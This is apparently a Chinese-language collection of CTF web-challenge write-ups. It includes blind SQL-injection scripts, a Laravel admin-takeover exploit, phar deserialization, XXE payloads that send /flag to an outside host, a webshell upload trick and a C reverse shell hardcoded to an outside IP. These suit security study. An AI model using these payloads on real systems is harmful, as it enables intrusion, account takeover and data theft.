1 2 3 4 5 6 7 8 public class reByte { public static void main (String[] args) { byte [] var10000 = new byte []{102 , 108 , 97 , 103 , 123 , 119 , 101 , 54 , 95 , 52 , 111 , 103 , 95 , 49 , 115 , 95 , 101 , 52 , 115 , 121 , 103 , 48 , 105 , 110 , 103 , 125 }; for (int i = 0 ;i < var10000.length;i++) { System.out.print((char ) var10000[i]); } } }
[PwnThyBytes 2019]Baby_SQL
利用PHP_SESSION_UPLOAD_PROGRESS自动执行session_start
source.zip
直接下载
登录注册的入口都是从index.php
进入的,可以发现filter
中存在addslashes
进行转义,而前面的几个遍历使得我们输入的数据都会把特殊字符给转义了,并且注册登录之后也没有重新查看个人信息的功能所以也不能进行二次注入
1 2 3 4 5 6 7 8 9 10 11 foreach ($_SESSION as $key => $value ): $_SESSION [$key ] = filter($value ); endforeach ;foreach ($_GET as $key => $value ): $_GET [$key ] = filter($value ); endforeach ;foreach ($_POST as $key => $value ): $_POST [$key ] = filter($value ); endforeach ;foreach ($_REQUEST as $key => $value ): $_REQUEST [$key ] = filter($value ); endforeach ;function filter ($value ) { !is_string($value ) AND die ("Hacking attempt!" ); return addslashes($value ); }
而login.php
里面存在对session进行检测,如果session存在的话这个页面就可以正常访问,并且login.php
是没有任何过滤的,所以可以构造session
1 !isset ($_SESSION ) AND die ("Direct access on this script is not allowed!" );
https://blog.csdn.net/SopRomeo/article/details/108967248
在phpsession里如果在php.ini中设置session.auto_start=On,那么PHP每次处理PHP文件的时候都会自动执行session_start(),但是session.auto_start默认为Off。与Session相关的另一个叫session.upload_progress.enabled,默认为On,在这个选项被打开的前提下我们在multipart POST的时候传入PHP_SESSION_UPLOAD_PROGRESS,PHP会执行session_start()
1 2 3 4 5 6 7 8 9 import requestsurl = 'http://fb2324f2-cbd8-44d9-a0f4-31ef9b64b509.node4.buuoj.cn:81/templates/login.php' file = {'file' : '12345678' } r = requests.post(url, files=file, data={'PHP_SESSION_UPLOAD_PROGRESS' : '123456789' }, cookies={'PHPSESSID' : '4459795494f0087578820b6bd1de07ff' }, params={'username' : '123456' , 'password' : '123456' }, proxies={'http' : 'http://127.0.0.1:8081' }) print (r.text)
直接开始跑脚本吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsimport timeurl = 'http://fb2324f2-cbd8-44d9-a0f4-31ef9b64b509.node4.buuoj.cn:81/templates/login.php' file = {'file' : '12345678' } flag = '' try : for i in range (1 , 50 ): left = 31 right = 127 mid = (left + right) // 2 while left < right: time.sleep(0.05 ) payload = { 'username' : '1" or ascii(substr((select secret from flag_tbl),{},1))>{}#' .format (i, mid), 'password' : '123456' } r = requests.post(url, files=file, data={'PHP_SESSION_UPLOAD_PROGRESS' : '123456789' }, cookies={'PHPSESSID' : '4459795494f0087578820b6bd1de07ff' }, params=payload) if "Try" in r.text: right = mid else : left = mid + 1 mid = (left + right) // 2 flag += chr (mid) print (flag) except : print ("nonono" )
Wallbreaker_Easy
题目描述
Imagick is a awesome library for hackers to break disable_functions
. So I installed php-imagick in the server, opened a backdoor
for you. Let’s try to execute /readflag
to get the flag. Open basedir: /var/www/html:/tmp/98e92802eccf20eabb854e0b716c9db8 Hint: eval($_POST[“backdoor”]);
1.蚁剑 直接蚁剑利用插件绕过disable_functions
[BSidesCF 2019]Mixer
不大会
https://github.com/beerpwn/ctf/tree/master/2019/BSidesSF_CTF/web/mixer
https://blog.csdn.net/a3320315/article/details/104335989?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1
[护网杯 2018]easy_laravel
存在源,并且在note
路由下存在sql注入,并且是几乎没有任何过滤
0x01:简单审计 先看几个Controller
有登陆注册等,但是UploadController需要是admin才能访问,所以我们或许可以admin登录,而我们在AdminMiddleware
中可以得到admin的邮箱admin@qvq.im
那接下去就看看该怎么登录了
存在ResetPasswordController
,所以我们或许可以通过这个修改admin的密码
简单跟进一下,可以发现reset需要获取token
1 2 3 4 5 6 7 8 9 10 11 12 13 public function reset (Request $request ) { $this ->validate($request , $this ->rules(), $this ->validationErrorMessages()); $response = $this ->broker()->reset($this ->credentials($request ), function ($user , $password ) { $this ->resetPassword($user , $password ); }); return $response == Password::PASSWORD_RESET ? $this ->sendResetResponse($response ) : $this ->sendResetFailedResponse($request , $response ); } protected function rules ( ) { return ['token' => 'required' , 'email' => 'required|email' , 'password' => 'required|confirmed|min:6' ]; }
并且在2014_10_12_100000_create_password_resets_table.php
中可以发现有password_resets
表,其中就有token,那么我们只要找到admin对应的token就好了,那么接下去就是想进行一个sql注入
1 2 3 4 5 6 7 8 public function up ( ) { Schema::create('password_resets' , function (Blueprint $table ) { $table ->string('email' )->index(); $table ->string('token' )->index(); $table ->timestamp('created_at' )->nullable(); }); }
在FlagController
中可以知道flag文件名为/th1s1s_F14g_2333333
1 2 3 4 5 public function showFlag ( ) { $flag = file_get_contents('/th1s1s_F14g_2333333' ); return view('auth.flag' )->with('flag' , $flag ); }
UploadController
只允许admin访问,upload方法会对文件后缀进行检测只能是图片或者是gif
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function upload (UploadRequest $request ) { $file = $request ->file('file' ); if (($file && $file ->isValid())) { $allowed_extensions = ["bmp" , "jpg" , "jpeg" , "png" , "gif" ]; $ext = $file ->getClientOriginalExtension(); if (in_array($ext , $allowed_extensions )){ $file ->move($this ->path, $file ->getClientOriginalName()); Flash::success('上传成功' ); return redirect(route('upload' )); } } Flash::error('上传失败' ); return redirect(route('upload' )); }
而check方法允许传path和filename,并且会将这两个拼接进行检测文件是否存在,不管怎么样都很容易想到可以写入一些协议来获取flag或者利用phar协议触发反序列化……
1 2 3 4 5 6 7 8 9 10 11 12 13 public function check (Request $request ) { $path = $request ->input('path' , $this ->path); $filename = $request ->input('filename' , null ); if ($filename ){ if (!file_exists($path . $filename )){ Flash::error('磁盘文件已删除,刷新文件列表' ); }else { Flash::success('文件有效' ); } } return redirect(route('files' )); }
NoteController
中可以发现存在很明显的SQL注入,那我们一开始的点就从这里开始了
1 2 3 4 5 6 public function index (Note $note ) { $username = Auth::user()->name; $notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username} '" ); return view('note' , compact('notes' )); }
0x02:SQL 查询token并修改admin密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from random import randomimport requestsimport reUrl = 'http://02bd8596-dd4e-4b6a-8457-38ed953dea29.node4.buuoj.cn:81/' req = requests.session() def getCSRFToken (url ): r = req.get(url) zz = re.compile ('\{\"csrfToken\"\:\"([a-zA-Z0-9]{0,})\"\}' ) res = zz.findall(r.text)[0 ] print ("_token = " + res) return res def register_to_note (payload ): data = {'_token' : getCSRFToken(Url+'register' ), 'name' : payload, 'email' : '12{}@qq.' .format (chr (int (random() * 26 + 97 ))) + chr (int (random() * 26 + 97 )) + chr (int (random() * 26 + 97 )) + chr (int (random() * 26 + 97 )), 'password' : '123456' , 'password_confirmation' : '123456' } print (data) r = req.post(url=Url+'register' , data=data) if r.status_code == 200 : print ('[*]Register Success!!!' ) r2 = req.get(url=Url+'note' ) a = re.compile ('<div class="col-xs-10"> ([0-9a-zA-Z]+) </div>' ) if r2.status_code == 200 and 'col-xs-10' in r2.text: print (a.findall(r2.text)) resetToken = a.findall(r2.text) return resetToken elif 'Whoops' in r2.text: print ('error' ) else : print (r.status_code) def reset_password (token ): data = {'_token' : getCSRFToken(Url+'password/reset/' +token), 'token' : token, 'email' : 'admin@qvq.im' , 'password' : '123456' , 'password_confirmation' : '123456' } r = req.post(url=Url+'password/reset' , data=data) if r.status_code == 200 : print ('[*]Reset password success!!' ) if __name__ == '__main__' : answer = "1' union select 1,(select token from password_resets where email='admin@qvq.im' limit 1),3,4,5-- " token = register_to_note(payload=answer)[0 ] reset_password(token)
0x03:Blade 登录admin账号之后,虽然flag页面可以访问,但是却没有东西
所以需要把之前的模板文件删掉再去访问flag
之前也提到过可在file_exists
利用phar协议触发反序列化,并且还存在文件上传,这就是极好的机会了,直接全局搜索unlink或者__destruct
,
1 2 3 4 5 6 public function __destruct ( ) { if (file_exists($this ->getPath())) { @unlink($this ->getPath()); } }
所以现在就是找到改模板文件的文件名了
https://blog.csdn.net/weixin_43610673/article/details/107777433
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php abstract class Swift_ByteStream_AbstractFilterableInputStream {} class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream { private $_path ; public function __construct ($filepath ) { $this ->_path = $filepath ; } } class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream { public function __construct ( ) { $path = '/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php' ; parent ::__construct($path ); } } $a = serialize(new Swift_ByteStream_TemporaryFileByteStream());$phar = new Phar("symlink.phar" ); $phar ->startBuffering();$phar ->setStub('<?php __HALT_COMPILER(); ? >' ); $phar ->setMetadata($a ); $phar ->addFromString("exp.txt" , "test" ); $phar ->stopBuffering();
生成phar文件之后,进行文件上传并且抓包修改后缀名,再在check页面执行phar协议触发反序列化删除未及时删除的flag模板文件
1 $this ->path = storage_path('app/public' );
payload:
1 path=phar:///var/www/html/storage/app/public
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 <?php abstract class Swift_ByteStream_AbstractFilterableInputStream { protected $_sequence = 0 ; private $_filters = array (); private $_writeBuffer = '' ; private $_mirrors = array (); public function addFilter (Swift_StreamFilter $filter , $key ) { $this ->_filters[$key ] = $filter ; } public function removeFilter ($key ) { unset ($this ->_filters[$key ]); } public function write ($bytes ) { $this ->_writeBuffer .= $bytes ; foreach ($this ->_filters as $filter ) { if ($filter ->shouldBuffer($this ->_writeBuffer)) { return ; } } $this ->_doWrite($this ->_writeBuffer); return ++$this ->_sequence; } public function commit ( ) { $this ->_doWrite($this ->_writeBuffer); } public function bind (Swift_InputByteStream $is ) { $this ->_mirrors[] = $is ; } public function unbind (Swift_InputByteStream $is ) { foreach ($this ->_mirrors as $k => $stream ) { if ($is === $stream ) { if ($this ->_writeBuffer !== '' ) { $stream ->write($this ->_writeBuffer); } unset ($this ->_mirrors[$k ]); } } } public function flushBuffers ( ) { if ($this ->_writeBuffer !== '' ) { $this ->_doWrite($this ->_writeBuffer); } $this ->_flush(); foreach ($this ->_mirrors as $stream ) { $stream ->flushBuffers(); } } private function _filter ($bytes ) { foreach ($this ->_filters as $filter ) { $bytes = $filter ->filter($bytes ); } return $bytes ; } private function _doWrite ($bytes ) { $this ->_commit($this ->_filter($bytes )); foreach ($this ->_mirrors as $stream ) { $stream ->write($bytes ); } $this ->_writeBuffer = '' ; } } class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream { private $_offset = 0 ; private $_path ; private $_mode ; private $_reader ; private $_writer ; private $_quotes = false ; private $_seekable = null ; public function __construct ($path , $writable = false ) { if (empty ($path )) { throw new Swift_IoException('The path cannot be empty' ); } $this ->_path = $path ; $this ->_mode = $writable ? 'w+b' : 'rb' ; if (function_exists('get_magic_quotes_runtime' ) && @get_magic_quotes_runtime() == 1 ) { $this ->_quotes = true ; } } public function getPath ( ) { return $this ->_path; } } class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream { public function __construct ( ) { $path = '/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php' ; parent ::__construct($path , true ); } } $a = serialize(new Swift_ByteStream_TemporaryFileByteStream());$phar = new Phar("ameuu.phar" ); $phar ->startBuffering();$phar ->setStub('GIF89a<?php __HALT_COMPILER(); ? >' ); $phar ->setMetadata($a ); $phar ->addFromString("exp.txt" , "test" ); $phar ->stopBuffering();copy('./ameuu.phar' ,'ameuu.gif' );
[网鼎杯 2020 青龙组]filejava
首先是文件上传,随意上传文件,好像没有什么过滤的地方,存在文件下载。一看格式就经典任意文件下载了,查看报错界面是Apache Tomcat/8.5.54
,那么直接查看web.xml
1 ?filename=../../../../WEB-INF/web.xml
直接根据路径下载类:
1 http://8bf9ae81-9bfd-42d1-8ef0-d90e9518ebb7.node4.buuoj.cn:81/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
1 2 3 ../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class ../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class ../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
审计 DownloadServlet
post传参,一个参数filename
,文件名内不允许包含flag
字符串,并且会判断文件是否存在 如果存在则将输出字节流
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public class DownloadServlet extends HttpServlet { private static final long serialVersionUID = 1L ; protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String fileName = request.getParameter("filename" ); fileName = new String(fileName.getBytes("ISO8859-1" ), "UTF-8" ); System.out.println("filename=" + fileName); if (fileName != null && fileName.toLowerCase().contains("flag" )) { request.setAttribute("message" , "禁止读取" ); request.getRequestDispatcher("/message.jsp" ).forward((ServletRequest)request, (ServletResponse)response); return ; } String fileSaveRootPath = getServletContext().getRealPath("/WEB-INF/upload" ); String path = findFileSavePathByFileName(fileName, fileSaveRootPath); File file = new File(path + "/" + fileName); if (!file.exists()) { request.setAttribute("message" , "您要下载的资源已被删除!" ); request.getRequestDispatcher("/message.jsp" ).forward((ServletRequest)request, (ServletResponse)response); return ; } String realname = fileName.substring(fileName.indexOf("_" ) + 1 ); response.setHeader("content-disposition" , "attachment;filename=" + URLEncoder.encode(realname, "UTF-8" )); FileInputStream in = new FileInputStream(path + "/" + fileName); ServletOutputStream out = response.getOutputStream(); byte [] buffer = new byte [1024 ]; int len = 0 ; while ((len = in.read(buffer)) > 0 ) out.write(buffer, 0 , len); in.close(); out.close(); } public String findFileSavePathByFileName (String filename, String saveRootPath) { int hashCode = filename.hashCode(); int dir1 = hashCode & 0xF ; int dir2 = (hashCode & 0xF0 ) >> 4 ; String dir = saveRootPath + "/" + dir1 + "/" + dir2; File file = new File(dir); if (!file.exists()) file.mkdirs(); return dir; } }
ListFileServlet
存在saveFilename
和filename
两个参数,但是并没有什么可利用的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class ListFileServlet extends HttpServlet { private static final long serialVersionUID = 1L ; protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String uploadFilePath = getServletContext().getRealPath("/WEB-INF/upload" ); Map<String, String> fileNameMap = new HashMap<>(); String saveFilename = (String)request.getAttribute("saveFilename" ); String filename = (String)request.getAttribute("filename" ); System.out.println("saveFilename" + saveFilename); System.out.println("filename" + filename); String realName = saveFilename.substring(saveFilename.indexOf("_" ) + 1 ); fileNameMap.put(saveFilename, filename); request.setAttribute("fileNameMap" , fileNameMap); request.getRequestDispatcher("/listfile.jsp" ).forward((ServletRequest)request, (ServletResponse)response); } }
UploadServlet
文件上传操作,存在报错poi-ooxml-3.10 has something wrong
hint! >> Apache POI XML外部实体(XML External Entity,XXE)攻击详解 - 简书 (jianshu.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 public class UploadServlet extends HttpServlet { private static final long serialVersionUID = 1L ; protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String savePath = getServletContext().getRealPath("/WEB-INF/upload" ); String tempPath = getServletContext().getRealPath("/WEB-INF/temp" ); File tempFile = new File(tempPath); if (!tempFile.exists()) tempFile.mkdir(); String message = "" ; try { DiskFileItemFactory factory = new DiskFileItemFactory(); factory.setSizeThreshold(102400 ); factory.setRepository(tempFile); ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory); upload.setHeaderEncoding("UTF-8" ); upload.setFileSizeMax(1048576L ); upload.setSizeMax(10485760L ); if (!ServletFileUpload.isMultipartContent(request)) return ; List<FileItem> list = upload.parseRequest(request); for (FileItem fileItem : list) { if (fileItem.isFormField()) { String name = fileItem.getFieldName(); String str = fileItem.getString("UTF-8" ); continue ; } String filename = fileItem.getName(); if (filename == null || filename.trim().equals("" )) continue ; String fileExtName = filename.substring(filename.lastIndexOf("." ) + 1 ); InputStream in = fileItem.getInputStream(); if (filename.startsWith("excel-" ) && "xlsx" .equals(fileExtName)) try { Workbook wb1 = WorkbookFactory.create(in); Sheet sheet = wb1.getSheetAt(0 ); System.out.println(sheet.getFirstRowNum()); } catch (InvalidFormatException e) { System.err.println("poi-ooxml-3.10 has something wrong" ); e.printStackTrace(); } String saveFilename = makeFileName(filename); request.setAttribute("saveFilename" , saveFilename); request.setAttribute("filename" , filename); String realSavePath = makePath(saveFilename, savePath); FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename); byte [] buffer = new byte [1024 ]; int len = 0 ; while ((len = in.read(buffer)) > 0 ) out.write(buffer, 0 , len); in.close(); out.close(); message = "文件上传成功!" ; } } catch (FileUploadException e) { e.printStackTrace(); } request.setAttribute("message" , message); request.getRequestDispatcher("/ListFileServlet" ).forward((ServletRequest)request, (ServletResponse)response); } private String makeFileName (String filename) { return UUID.randomUUID().toString() + "_" + filename; } private String makePath (String filename, String savePath) { int hashCode = filename.hashCode(); int dir1 = hashCode & 0xF ; int dir2 = (hashCode & 0xF0 ) >> 4 ; String dir = savePath + "/" + dir1 + "/" + dir2; File file = new File(dir); if (!file.exists()) file.mkdirs(); return dir; } }
做题 新建一个xlsx文件并解压(建议在linux环境下解压和压缩
在[Content_Types].xml
第二行插入xxe payload
测试:(在vps上监听,可以获取到ack信息
Apache POI XML外部实体(XML External Entity,XXE)攻击详解 - 简书 (jianshu.com)
1 2 <!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://vps:3000/ack" > ]> <x > &xxe; </x >
https://blog.csdn.net/m0_49835838/article/details/122718372
payload:
[Content_Types].xml
1 2 <!DOCTYPE convert [ <!ENTITY % test SYSTEM 'http://vps/ameuu.dtd' > %test; %exe; %entity;]>
ameuu.dtd
1 2 <!ENTITY % file SYSTEM "file:///flag" > <!ENTITY % exe "<!ENTITY % entity SYSTEM 'http://vps/%file;'>" >
可以在日志文件里可以找到flag
[XDCTF 2015]filemanager
www.tar.gz
审计: index.php
中没有太多有用的信息,而common.inc.php
中数据库信息且利用php连接数据库,同时将GET、POST、COOKIE数组中的值的特殊符号进行转义
1 2 3 4 5 6 7 $req = array ();foreach (array ($_GET , $_POST , $_COOKIE ) as $global_var ) { foreach ($global_var as $key => $value ) { is_string($value ) && $req [$key ] = addslashes($value ); } }
upload.php
规定了后缀名
1 2 3 if (!in_array($path_parts ["extension" ], array ("gif" , "jpg" , "png" , "zip" , "txt" ))) { exit ("error extension" ); }
sql查询之前对文件名进行转义,在后续的插入信息中也会影响,就会很难利用sql注入,如果上传成功则将文件目录输出
1 2 3 $path_parts ['filename' ] = addslashes($path_parts ['filename' ]);$sql = "select * from `file` where `filename`='{$path_parts['filename']} ' and `extension`='{$path_parts['extension']} '" ;
插入的时候保存的文件名不包括后缀名
1 $sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']} ', 0, '{$path_parts['extension']} ')" ;
rename.php
会先判断文件是否存在,如果存在则继续
关键代码:这里我们可以发现oldname
对应的值并不会被转义,也就是说我们一开始传入的文件在搜索到之后会以原来的形式出现(造成了二次注入,并且会在后面判断文件是否存在,如果存在就重命名
那么注入点就是在这里了
1 2 3 4 5 6 7 8 9 10 11 $req ['newname' ] = basename($req ['newname' ]); $re = $db ->query("update `file` set `filename`='{$req['newname']} ', `oldname`='{$result['filename']} ' where `fid`={$result['fid']} " );if (!$re ) { print_r($db ->error); exit ; } $oldname = UPLOAD_DIR . $result ["filename" ] . $result ["extension" ];$newname = UPLOAD_DIR . $req ["newname" ] . $result ["extension" ]; if (file_exists($oldname )) { rename($oldname , $newname ); }
做题: 关键payload:',extension='
新建一个空文件,文件名为',extension='.jpg
上传成功之后在rename
处将',extension='
修改成shell.jpg
,因为rename一开始查询文件信息的时候得到$result
,并且数据被拿出来的时候并不会被转义所以$result['filename']=',extension='
,导致在之后的update语句中实现了sql注入,更新的内容变成:
fid
newname
oldname
extension
?
shell.jpg
null
null
但这只是修改了数据库的内容,在后续的file_exists
还是会检测到',extension='.jpg
文件存在,实现文件名改成了shell.jpg.jpg
创建一个图片马,文件名为shell.jpg
,上传成功后将shell.jpg
改成shell.php
,因为在rename的时候直接查询shell.jpg
是能够查到东西的,也就是上面所列出来的表,并且$resulr['extension']=''
,所以在后面执行rename
函数的之后执行为=>
1 rename('shell.jpg','shell.php')
成功完成了修改,访问shell.php
命令执行
[ACTF 2022]gogogo
https://www.leavesongs.com/PENETRATION/goahead-en-injection-cve-2021-42342.html
https://paper.seebug.org/1808/#_5
https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg
LD_PRELOAD 直接在url上get请求LD_PRELOAD=test,可以发现env页面出现了CGI_LD_PRELOAD=test
说明存在漏洞直接根据P神的博客按顺序打就好了
python上传文件:(上传之后需要修改Content-Length并在文件内容后面加上2000个脏字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import randomimport requestsurl = 'http://123.60.84.229:10218/cgi-bin/hello' with open ('../hack.so' , 'rb' ) as f: data = f.read() files = {'file' : data} r = requests.post(url, files=files)
没什么好说的,直接按照P神步骤来,但是这里的LD_PRELOAD
指向的文件还是要自己手动找一下并不是固定的,导致P神给的脚本并不通用
hack.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <netinet/in.h> char *server_ip="82.156.2.166" ;uint32_t server_port=7777 ;static void reverse_shell (void ) __attribute__ ((constructor)) ;static void reverse_shell (void ) { int sock = socket(AF_INET, SOCK_STREAM, 0 ); struct sockaddr_in attacker_addr = {0 }; attacker_addr.sin_family = AF_INET; attacker_addr.sin_port = htons(server_port); attacker_addr.sin_addr.s_addr = inet_addr(server_ip); if (connect(sock, (struct sockaddr *)&attacker_addr,sizeof (attacker_addr))!=0 ) exit (0 ); dup2(sock, 0 ); dup2(sock, 1 ); dup2(sock, 2 ); execve("/bin/bash" , 0 , 0 ); }
flag:
1 ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}
BASH
1 2 3 4 url = 'http://123.60.84.229:10218/cgi-bin/hello' payload = {"BASH_FUNC_env%%" : (None , "() { id;}" )} r = requests.post(url, files=payload) print (r.text)
注意:
[HarekazeCTF2019]Sqlite Voting 开局给投票的源码和数据库内容,可以知道flag就在数据库中,而id存在sql注入,但是ban掉了很多特殊字符和关键词,感觉只能利用盲注了
+
被ban了导致不能用空格,而且/**/
也不能用,所以只能用括号了绕过了
vote.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php error_reporting(0 ); if (isset ($_GET ['source' ])) { show_source(__FILE__ ); exit (); } function is_valid ($str ) { $banword = [ "[\"%'*+\\/<=>\\\\_`~-]" , '\s' , 'blob' , 'load_extension' , 'char' , 'unicode' , '(in|sub)str' , '[lr]trim' , 'like' , 'glob' , 'match' , 'regexp' , 'in' , 'limit' , 'order' , 'union' , 'join' ]; $regexp = '/' . implode('|' , $banword ) . '/i' ; if (preg_match($regexp , $str )) { return false ; } return true ; } header("Content-Type: text/json; charset=utf-8" ); if (!isset ($_POST ['id' ]) || empty ($_POST ['id' ])) { die (json_encode(['error' => 'You must specify vote id' ])); } $id = $_POST ['id' ];if (!is_valid($id )) { die (json_encode(['error' => 'Vote id contains dangerous chars' ])); } $pdo = new PDO('sqlite:../db/vote.db' );$res = $pdo ->query("UPDATE vote SET count = count + 1 WHERE id = ${id}" );if ($res === false ) { die (json_encode(['error' => 'An error occurred while updating database' ])); } echo json_encode([ 'message' => 'Thank you for your vote! The result will be published after the CTF finished.' ]);
https://xz.aliyun.com/t/6628#toc-4
出题人的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import binasciiimport timeimport requestsURL = 'http://1d0f96cf-4b45-4ba0-a938-34ada8597dbf.node4.buuoj.cn:81/vote.php' l = 0 i = 0 for j in range (16 ): r = requests.post(URL, data={ 'id' : f'abs(case(length(hex((select(flag)from(flag))))&{1 <<j} )when(0)then(0)else(0x8000000000000000)end)' }) if b'An error occurred' in r.content: l |= 1 << j print ('[+] length:' , l)table = {} table['A' ] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' table['C' ] = 'trim(hex(typeof(.1)),12567)' table['D' ] = 'trim(hex(0xffffffffffffffff),123)' table['E' ] = 'trim(hex(0.1),1230)' table['F' ] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' table['B' ] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C" ]} ||{table["F" ]} )' res = binascii.hexlify(b'flag{61aee2ee-4901-43f4-bc12-a87cce7a6087' ).decode().upper() for i in range (len (res), l): for x in '0123456789ABCDEF' : time.sleep(0.05 ) t = '||' .join(c if c in '0123456789' else table[c] for c in res + x) r = requests.post(URL, data={ 'id' : f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t} ,trim(0,0))),{l} ,trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)' }) if b'An error occurred' in r.content: res += x break print (f'[+] flag ({i} /{l} ): {res} ' ) i += 1 print ('[+] flag:' , binascii.unhexlify(res).decode())
flag:
1 flag{61aee2ee-4901-43f4-bc12-a87cce7a6087}
[RoarCTF 2019]Simple Upload 直接给了IndexController
的源码,存在一个文件上传的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php namespace Home \Controller ;use Think \Controller ;class IndexController extends Controller { public function index ( ) { show_source(__FILE__ ); } public function upload ( ) { $uploadFile = $_FILES ['file' ] ; if (strstr(strtolower($uploadFile ['name' ]), ".php" ) ) { return false ; } $upload = new \Think\Upload(); $upload ->maxSize = 4096 ; $upload ->allowExts = array ('jpg' , 'gif' , 'png' , 'jpeg' ); $upload ->rootPath = './Public/Uploads/' ; $upload ->savePath = '' ; $info = $upload ->upload() ; if (!$info ) { $this ->error($upload ->getError()); return ; }else { $url = __ROOT__.substr($upload ->rootPath,1 ).$info ['file' ]['savepath' ].$info ['file' ]['savename' ] ; echo json_encode(array ("url" =>$url ,"success" =>1 )); } } }
随便传一个s,发现报错出现版本为thinkphp3.2.4
,直接网上找一下源码下载,直接去看Upload
类
感觉可能可以利用的也就只有$info = $upload->upload() ;
那么直接看一下
审计 可以发现存在call_user_func
方法,会调用回调函数执行$file
数组里面的内容,但是这个回调函数我们并不能够修改,所以要想办法该怎么修改这个回调函数捏
想到这道题是文件上传,用到了很多的文件操作函数,那么我们是否可以通过phar://
协议来触发反序列化捏,但是简单地看了一遍这和函数之后并没有发现可以触发的地方
1 2 3 4 5 6 7 8 9 10 $data = call_user_func($this ->callback, $file );if ($this ->callback && $data ) { if (file_exists('.' . $data ['path' ])) { $info [$key ] = $data ; continue ; } elseif ($this ->removeTrash) { call_user_func($this ->removeTrash, $data ); } }
这条路走不通,那要不再想想是否可以上传php文件?
但是会发现只能上传图片文件,并且源码中也会判断strstr(strtolower($uploadFile['name']), ".php")
文件名中是否会出现.php
1 2 3 4 5 6 7 8 9 $ext = strtolower($file ['ext' ]);if (in_array($ext , array ('gif' , 'jpg' , 'jpeg' , 'bmp' , 'png' , 'swf' ))) { $imginfo = getimagesize($file ['tmp_name' ]); if (empty ($imginfo ) || ('gif' == $ext && empty ($imginfo ['bits' ]))) { $this ->error = '非法图像文件!' ; continue ; } }
但是在下列代码中对文件名进行了strip_tags
操作,会把php和html标识符删掉,那么就可以绕过了
1 2 3 4 5 6 7 $files = $this ->dealFiles($files ); foreach ($files as $key => $file ) { $file ['name' ] = strip_tags($file ['name' ]); if (!isset ($file ['key' ])) { $file ['key' ] = $key ; }
